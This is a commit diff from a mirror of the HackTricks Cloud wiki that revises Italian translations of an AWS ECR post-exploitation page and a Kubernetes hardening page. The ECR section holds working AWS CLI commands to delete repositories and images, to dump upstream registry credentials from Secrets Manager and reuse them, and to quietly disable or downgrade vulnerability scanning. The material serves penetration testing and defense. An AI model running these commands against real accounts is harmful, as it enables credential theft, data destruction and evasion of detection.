mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-24 20:10:16 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una policy del ciclo di vita per eliminare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
|
||||
Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
### Exfiltrate credenziali del registro upstream da ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR un ampio accesso in lettura a Secrets Manager, abilitando credential exfiltration e il riutilizzo delle credenziali al di fuori di AWS.
|
||||
Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream sono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli admin ECR un ampio accesso in lettura a Secrets Manager, consentendo la exfiltration delle credenziali e il riutilizzo al di fuori di AWS.
|
||||
|
||||
Requisiti
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumerate candidate PTC secrets
|
||||
Elencare i segreti PTC candidati
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Scarica i secrets scoperti e analizza i campi comuni
|
||||
Esegui il dump dei secrets scoperti e analizza i campi comuni
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -114,17 +114,17 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Opzionale: verificare leaked creds contro l'upstream (accesso in sola lettura)
|
||||
Facoltativo: verificare i leaked creds contro l'upstream (login in sola lettura)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impatto
|
||||
- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registro upstream (username/password or token), che possono essere sfruttate al di fuori di AWS per pullare immagini private o accedere a repository aggiuntivi a seconda dei permessi upstream.
|
||||
- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere abusate al di fuori di AWS per pull di immagini private o per accedere a repository aggiuntivi a seconda delle upstream permissions.
|
||||
|
||||
|
||||
### Stealth a livello di registry: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration`
|
||||
### Registry-level stealth: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un attaccante con permessi ECR a livello di registry può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per TUTTI i repository impostando la configurazione di scanning del registry su BASIC senza regole di scan-on-push. Questo impedisce che le nuove push di immagini vengano scansionate automaticamente, nascondendo immagini vulnerabili o dannose.
|
||||
Un attacker con registry-level ECR permissions può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malicious.
|
||||
|
||||
Requisiti
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
@@ -132,7 +132,7 @@ Requisiti
|
||||
- ecr:PutImageScanningConfiguration (opzionale, per-repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica)
|
||||
|
||||
Degradazione a livello di registry a manuale (nessuna scansione automatica)
|
||||
Degradazione a livello di registry a modalità manuale (no auto scans)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Test con un repository e un'immagine
|
||||
Test con un repo e un image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opzionale: degradare ulteriormente a livello del repository
|
||||
Opzionale: degradare ulteriormente a livello del repo
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impatto
|
||||
- Nuove push di immagini nel registry non vengono scansionate automaticamente, riducendo la visibilità di contenuti vulnerabili o malevoli e ritardando la rilevazione fino a quando non viene avviata una scansione manuale.
|
||||
- I nuovi push di immagini su tutto il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o dannosi e ritardando il rilevamento fino a quando non viene avviata una scansione manuale.
|
||||
|
||||
|
||||
### Downgrade del motore di scansione a livello di registry via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Declassamento del motore di scanning a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry cambiando il motore di scansione BASIC dal default AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni ma può modificare in modo significativo i risultati/copertura. Combinalo con una configurazione di scansione registry BASIC senza regole per rendere le scansioni eseguibili solo manualmente.
|
||||
Riduci la qualità del rilevamento delle vulnerabilità su tutto il registry cambiando il motore di scansione BASIC dal predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni, ma può modificare in modo significativo i risultati/coprertura. Combinalo con una configurazione di scanning registry BASIC senza regole per rendere le scansioni esclusivamente manuali.
|
||||
|
||||
Requisiti
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impatto
|
||||
- Impostazione del registry `BASIC_SCAN_TYPE_VERSION` impostata su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore degradato. CloudTrail registra la chiamata API `PutAccountSetting`.
|
||||
- Registry setting `BASIC_SCAN_TYPE_VERSION` impostato su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore declassato. CloudTrail records the `PutAccountSetting` API call.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Scansionare le immagini ECR per vulnerabilità
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||
|
||||
region=<region>
|
||||
profile=<aws_profile>
|
||||
|
||||
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||
|
||||
# Configure docker creds
|
||||
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||
|
||||
while read -r repo; do
|
||||
echo "Working on repository $repo"
|
||||
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||
if [ -z "$digest" ]
|
||||
then
|
||||
echo "No images! Empty repository"
|
||||
continue
|
||||
fi
|
||||
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||
echo "Pulling $url"
|
||||
docker pull $url
|
||||
echo "Scanning $url"
|
||||
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||
# echo "Removing image $url"
|
||||
# docker image rm $url
|
||||
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Hardening di Kubernetes
|
||||
# Kubernetes Hardening
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
Esegue **diversi controlli di conformità sul cluster Kubernetes**. Include il supporto per CIS, la National Security Agency (NSA) e il Cybersecurity technical report della Cybersecurity and Infrastructure Security Agency (CISA) per l'hardening di Kubernetes.
|
||||
Esegue **diversi controlli di compliance sul cluster Kubernetes**. Include il supporto per CIS e per il Cybersecurity technical report della National Security Agency (NSA) e della Cybersecurity and Infrastructure Security Agency (CISA) per il hardening di Kubernetes.
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
@@ -27,30 +27,30 @@ powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) è uno strumento open-source per K8s che fornisce un pannello unico multi-cloud per K8s, inclusi analisi del rischio, conformità alla sicurezza, visualizzatore RBAC e scansione delle vulnerabilità delle immagini. Kubescape esegue la scansione di cluster K8s, file YAML e HELM charts, rilevando misconfigurazioni secondo più framework (come [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilità software e violazioni RBAC (role-based-access-control) nelle prime fasi della pipeline CI/CD, calcola istantaneamente il punteggio di rischio e mostra l'andamento del rischio nel tempo.
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) è uno strumento open-source per K8s che fornisce una single pane of glass multi-cloud per K8s, inclusa analisi del rischio, compliance di sicurezza, visualizzatore RBAC e scansione delle vulnerabilità delle immagini. Kubescape esegue la scansione di cluster K8s, file YAML e chart HELM, rilevando misconfigurazioni secondo più framework (come il [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilità software e violazioni RBAC (role-based-access-control) nelle prime fasi della pipeline CI/CD, calcola istantaneamente il punteggio di rischio e mostra le tendenze del rischio nel tempo.
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) è un'utilità che scansiona cluster Kubernetes attivi e **segnala potenziali problemi con le risorse e le configurazioni distribuite**. Pulisce il tuo cluster basandosi su ciò che è distribuito e non su ciò che è presente su disco. Scansionando il cluster, rileva misconfigurazioni e ti aiuta a garantire che le best practice siano applicate, prevenendo così problemi futuri. Mira a ridurre il sovraccarico\_cognitivo che si affronta quando si opera un cluster Kubernetes in ambiente reale. Inoltre, se il tuo cluster impiega un metric-server, segnala potenziali sovraallocazioni o sottoallocazioni di risorse e cerca di avvisarti nel caso in cui il cluster esaurisca la capacità.
|
||||
[**Popeye**](https://github.com/derailed/popeye) è un'utilità che esegue la scansione di cluster Kubernetes live e **segnala potenziali problemi con le risorse e le configurazioni deployate**. Pulisce il tuo cluster basandosi su ciò che è effettivamente deployato e non su ciò che è presente su disco. Scansionando il cluster rileva le misconfigurazioni e ti aiuta a garantire che le best practice siano in atto, prevenendo così futuri mal di testa. Ha l'obiettivo di ridurre il sovraccarico cognitivo che si incontra nell'operare un cluster Kubernetes in ambienti non controllati. Inoltre, se il tuo cluster utilizza un metric-server, segnala potenziali sovra/sotto-allocazioni di risorse e tenta di avvisarti qualora il cluster stia esaurendo la capacità.
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
||||
Puoi scegliere di:
|
||||
You can choose to:
|
||||
|
||||
- eseguire kube-bench da dentro un container (condividendo il PID namespace con l'host)
|
||||
- eseguire un container che installa kube-bench sull'host e poi eseguire kube-bench direttamente sull'host
|
||||
- installare i binari più recenti dalla [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- compilarlo da sorgente.
|
||||
- eseguire kube-bench all'interno di un container (condivisione del namespace PID con l'host)
|
||||
- eseguire un container che installa kube-bench sull'host, e poi eseguire kube-bench direttamente sull'host
|
||||
- installare gli ultimi binari dalla [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- compilare da sorgente.
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **eseguire audit su cluster Kubernetes** per varie problematiche di sicurezza.
|
||||
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
|
||||
|
||||
Kubeaudit può rilevare se è in esecuzione all'interno di un container in un cluster. In tal caso, proverà a eseguire un audit di tutte le risorse Kubernetes in quel cluster:
|
||||
Kubeaudit può rilevare se è in esecuzione all'interno di un container in un cluster. In tal caso, proverà a eseguire l'audit di tutte le risorse Kubernetes in quel cluster:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
@@ -58,7 +58,7 @@ Questo strumento ha anche l'argomento `autofix` per **correggere automaticamente
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
**[DEPRECATED]** Lo strumento [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) cerca vulnerabilità di sicurezza nei cluster Kubernetes. Lo strumento è stato sviluppato per aumentare la consapevolezza e la visibilità sui problemi di sicurezza negli ambienti Kubernetes.
|
||||
**[DEPRECATO]** Lo strumento [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) ricerca vulnerabilità di sicurezza nei cluster Kubernetes. Lo strumento è stato sviluppato per aumentare la consapevolezza e la visibilità dei problemi di sicurezza negli ambienti Kubernetes.
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
@@ -66,42 +66,42 @@ kube-hunter --remote some.node.com
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) ha scanner che cercano problemi di sicurezza e obiettivi dove può trovare questi problemi:
|
||||
|
||||
- Immagine del container
|
||||
- Immagine container
|
||||
- File system
|
||||
- Repository Git (remoto)
|
||||
- Immagine della macchina virtuale
|
||||
- Immagine macchina virtuale
|
||||
- Kubernetes
|
||||
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
**Sembra non mantenuto**
|
||||
**[Sembra non mantenuto]**
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) è uno strumento di scansione delle vulnerabilità e di benchmark CIS Docker che permette agli utenti di ottenere una valutazione accurata e immediata del rischio dei loro cluster Kubernetes. Kubei scansiona tutte le immagini utilizzate in un cluster Kubernetes, incluse le immagini dei pod applicativi e dei pod di sistema.
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) è uno strumento di vulnerability scanning e CIS Docker benchmark che permette agli utenti di ottenere una valutazione accurata e immediata del rischio dei loro cluster Kubernetes. Kubei scansiona tutte le immagini usate in un cluster Kubernetes, incluse le immagini dei pod di applicazioni e dei pod di sistema.
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) è uno strumento per scansionare i cluster Kubernetes alla ricerca di permessi rischiosi nel modello di autorizzazione Role-based access control (RBAC) di Kubernetes.
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) è uno strumento per scansionare cluster Kubernetes alla ricerca di permessi rischiosi nel modello di autorizzazione Role-based access control (RBAC) di Kubernetes.
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) è uno strumento progettato per testare altri tipi di controlli ad alto rischio rispetto agli altri strumenti. Ha principalmente 3 modalità differenti:
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) è uno strumento creato per testare altri tipi di controlli ad alto rischio rispetto agli altri strumenti. Ha principalmente 3 modalità differenti:
|
||||
|
||||
- **`find-role-relationships`**: Che individua quali ruoli AWS sono in esecuzione in quali pod
|
||||
- **`find-secrets`**: Che cerca di identificare secret nelle risorse K8s come Pods, ConfigMaps e Secrets.
|
||||
- **`test-imds-access`**: Che cercherà di eseguire pod e tentare di accedere ai metadata v1 e v2. ATTENZIONE: Questo avvierà un pod nel cluster, fai molta attenzione perché potresti non volerlo fare!
|
||||
- **`find-role-relationships`**: che troverà quali AWS roles sono in esecuzione in quali pod
|
||||
- **`find-secrets`**: che cerca di identificare secrets nelle risorse K8s come Pods, ConfigMaps e Secrets.
|
||||
- **`test-imds-access`**: che cercherà di eseguire pod e tentare di accedere ai metadati v1 e v2. ATTENZIONE: questo farà girare un pod nel cluster, presta molta attenzione perché potresti non volerlo fare!
|
||||
|
||||
## **Audit del codice IaC**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) trova vulnerabilità di sicurezza, problemi di conformità e errori di configurazione dell'infrastruttura nelle seguenti soluzioni Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM e specifiche OpenAPI 3.0
|
||||
[**KICS**](https://github.com/Checkmarx/kics) trova **vulnerabilità di sicurezza**, problemi di conformità e errate configurazioni d'infrastruttura nelle seguenti **soluzioni Infrastructure as Code**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM e specifiche OpenAPI 3.0
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) è uno strumento di analisi statica del codice per infrastructure-as-code.
|
||||
|
||||
Scansiona l'infrastruttura cloud provisioningata usando [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) o [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) e rileva problemi di sicurezza e conformità usando la scansione basata su grafi.
|
||||
Scansiona l'infrastruttura cloud provisionata tramite [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) o [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) e rileva errate configurazioni di sicurezza e conformità usando una scansione basata su grafi.
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
@@ -109,14 +109,14 @@ Scansiona l'infrastruttura cloud provisioningata usando [Terraform](https://terr
|
||||
|
||||
Per installare:
|
||||
|
||||
| Distribuzione | Comando / Link |
|
||||
| Distribuzione | Comando / Link |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| Binarie precompilate per macOS, Linux, e Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Binarie precompilate per macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS e Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS e Linux) | `kubectl krew install score` |
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
|
||||
## Tools to analyze YAML files & Helm Charts
|
||||
## Strumenti per analizzare file YAML e Helm Charts
|
||||
|
||||
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
||||
```bash
|
||||
@@ -162,41 +162,113 @@ helm template chart /path/to/chart \
|
||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||
| kubesec scan -
|
||||
```
|
||||
## Scansione dei problemi delle dipendenze
|
||||
|
||||
### Scansione delle immagini
|
||||
```bash
|
||||
#!/bin/bash
|
||||
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||
echo "All images found: $images"
|
||||
echo ""
|
||||
echo ""
|
||||
for image in $images; do
|
||||
# Run trivy scan and save JSON output
|
||||
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||
# Extract binary targets that have vulnerabilities
|
||||
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||
if [ -n "$binaries" ]; then
|
||||
echo "- **Image:** $image"
|
||||
while IFS= read -r binary; do
|
||||
echo " - **Binary:** $binary"
|
||||
jq -r --arg target "$binary" '
|
||||
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||
' /tmp/result.json
|
||||
done <<< "$binaries"
|
||||
echo ""
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
### Scansiona Helm charts
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# scan-helm-charts.sh
|
||||
# This script lists all Helm releases, renders their manifests,
|
||||
# and then scans each manifest with Trivy for configuration issues.
|
||||
|
||||
# Check that jq is installed
|
||||
if ! command -v jq &>/dev/null; then
|
||||
echo "jq is required but not installed. Please install jq and rerun."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# List all helm releases and extract namespace and release name
|
||||
echo "Listing Helm releases..."
|
||||
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||
|
||||
# Check if any releases were found
|
||||
if [ ! -s helm_releases.txt ]; then
|
||||
echo "No Helm releases found."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Loop through each Helm release and scan its rendered manifest
|
||||
while IFS=" " read -r namespace release; do
|
||||
echo "---------------------------------------------"
|
||||
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||
# Render the Helm chart manifest
|
||||
manifest_file="${release}-manifest.yaml"
|
||||
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||
continue
|
||||
fi
|
||||
# Scan the manifest with Trivy (configuration scan)
|
||||
echo "Running Trivy config scan on $manifest_file..."
|
||||
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||
echo "Completed scan for $release."
|
||||
done < helm_releases.txt
|
||||
|
||||
echo "---------------------------------------------"
|
||||
echo "Helm chart scanning complete."
|
||||
```
|
||||
## Suggerimenti
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
### Kubernetes PodSecurityContext e SecurityContext
|
||||
|
||||
Puoi configurare il **security context dei Pod** (con _PodSecurityContext_) e dei **container** che verranno eseguiti (con _SecurityContext_). Per maggiori informazioni leggi:
|
||||
Puoi configurare il **contesto di sicurezza dei Pod** (con _PodSecurityContext_) e dei **container** che verranno eseguiti (con _SecurityContext_). Per maggiori informazioni leggi:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
{{#endref}}
|
||||
|
||||
### Kubernetes API Hardening
|
||||
### Hardening dell'API di Kubernetes
|
||||
|
||||
È molto importante **proteggere l'accesso al Kubernetes Api Server** poiché un attore malintenzionato con privilegi sufficienti potrebbe abusarne e danneggiare in molti modi l'ambiente.\
|
||||
È importante mettere in sicurezza sia l'**accesso** (**whitelist** degli origin che possono raggiungere l'API Server e negare qualsiasi altra connessione) sia la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (seguendo il principio del **minimo** **privilegio**). E assolutamente **non** **consentire** **richieste** **anonime**.
|
||||
È molto importante **proteggere l'accesso al Kubernetes Api Server** perché un attore malevolo con privilegi sufficienti potrebbe abusarne e danneggiare in molti modi l'ambiente.\
|
||||
È importante mettere in sicurezza sia l'**accesso** (**whitelist** delle origini per accedere all'API Server e negare qualsiasi altra connessione) sia la [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (seguendo il principio del **minimo** **privilegio**). E sicuramente **mai** **consentire** **richieste** **anonime**.
|
||||
|
||||
**Processo tipico di una richiesta:**\
|
||||
Utente o K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
**Processo comune delle richieste:**\
|
||||
User o K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
|
||||
**Consigli**:
|
||||
|
||||
- Chiudere le porte.
|
||||
- Evitare l'accesso anonimo.
|
||||
- NodeRestriction; nessun accesso da nodi specifici all'API.
|
||||
- Evitare l'accesso Anonymous.
|
||||
- NodeRestriction; nessun accesso da specifici nodi all'API.
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- In pratica impedisce ai kubelets di aggiungere/rimuovere/aggiornare labels con il prefisso node-restriction.kubernetes.io/. Questo prefisso di labels è riservato agli amministratori per etichettare i Node objects a scopi di isolamento dei workload, e ai kubelets non sarà permesso modificare labels con quel prefisso.
|
||||
- E inoltre, consente ai kubelets di aggiungere/rimuovere/aggiornare queste labels e i relativi prefissi.
|
||||
- Garantire l'isolamento sicuro dei workload tramite labels.
|
||||
- Evitare l'accesso all'API da pod specifici.
|
||||
- Evitare che l'ApiServer sia esposto a internet.
|
||||
- Prevenire accessi non autorizzati tramite RBAC.
|
||||
- Fondamentalmente impedisce ai kubelet di aggiungere/rimuovere/aggiornare label con il prefisso node-restriction.kubernetes.io/. Questo prefisso di label è riservato agli amministratori per etichettare gli oggetti Node a scopi di isolamento dei workload, e ai kubelet non sarà permesso modificare label con quel prefisso.
|
||||
- Inoltre, permette ai kubelet di aggiungere/rimuovere/aggiornare queste label e i prefissi di label.
|
||||
- Assicurare l'isolamento sicuro dei workload tramite label.
|
||||
- Evitare che specifici pod abbiano accesso all'API.
|
||||
- Evitare l'esposizione dell'ApiServer su Internet.
|
||||
- Evitare accessi non autorizzati tramite RBAC.
|
||||
- Proteggere la porta dell'ApiServer con firewall e whitelist di IP.
|
||||
|
||||
### Hardening di SecurityContext
|
||||
|
||||
Per default verrà utilizzato l'utente root quando un Pod viene avviato se non è specificato un altro utente. Puoi eseguire la tua applicazione in un contesto più sicuro usando un template simile al seguente:
|
||||
Per default l'utente root verrà utilizzato quando un Pod viene avviato se non viene specificato un altro utente. Puoi eseguire la tua applicazione in un contesto più sicuro usando un template simile al seguente:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -230,24 +302,24 @@ allowPrivilegeEscalation: true
|
||||
Dovresti aggiornare il tuo ambiente Kubernetes con la frequenza necessaria per avere:
|
||||
|
||||
- Dipendenze aggiornate.
|
||||
- Patch per bug e sicurezza.
|
||||
